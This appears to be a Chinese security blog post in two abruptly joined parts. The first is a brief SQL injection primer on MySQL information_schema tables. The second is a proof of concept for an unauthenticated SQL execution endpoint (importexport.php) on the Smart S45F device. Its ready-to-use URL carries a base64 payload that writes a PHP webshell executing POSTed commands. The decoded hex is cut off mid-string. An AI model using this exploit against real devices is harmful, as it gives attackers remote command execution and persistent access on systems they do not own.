SQL注入原理由于程序员对插入SQL语句的用户输入参数检查不严格,导致的恶意SQL命令被插入语句并执行。例如:原始查询语句为 select * from user where id=$value$value为用户输入变量,由于没有过滤,在用户输入 1 and 1=2时查询语句变为 select * from user where id=1 and 1=2,返回永假页面。SQL数据库重要信息MySQL端口3306默认数据库:information_schemamysql.innodb_table_stats:这个表不储存列,所以看列的时候要另行他路。三个表名:SCHEMATA:所有数据库库名TABLES:所有数据库库名与表名COLUMNS:库名、表名、字段名基础查询语句select * from {table_name}select * from {table_name} where {column_name}={data}select * from {table_name} where {column_name}={data} and {other_column}={data} ...
原理SQL语句执行接口未授权访问,可执行任意SQL语句。影响范围Smart S45F危害远程攻击者可利用该漏洞执行任意SQL语句,包括写入webshell。POC & EXP手工漏洞位置:https://ip:port/importexport.php该接口可以使用GET参数执行SQL语句参数sql=base64编码的SQL语句 参数type=exportexcelbysql,执行动作 POC:1https://ip:port/importexport.php?sql=c2VsZWN0IDB4M2MzZjcwNjg3MDIwNjU2MzY4NmYyMDczNzk3Mzc0NjU2ZDI4MjQ1ZjUwNGY1MzU0NWIyMjYzNmQ2NDIyNWQyOTNiM2YzZSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9hcHAvc2VjLnBocCc=&type=exportexcelbysql base64: select 0x3c3f706870206563686f2073797374656d28245f504f53545b2263
Equinox
一个乐于分享的网安人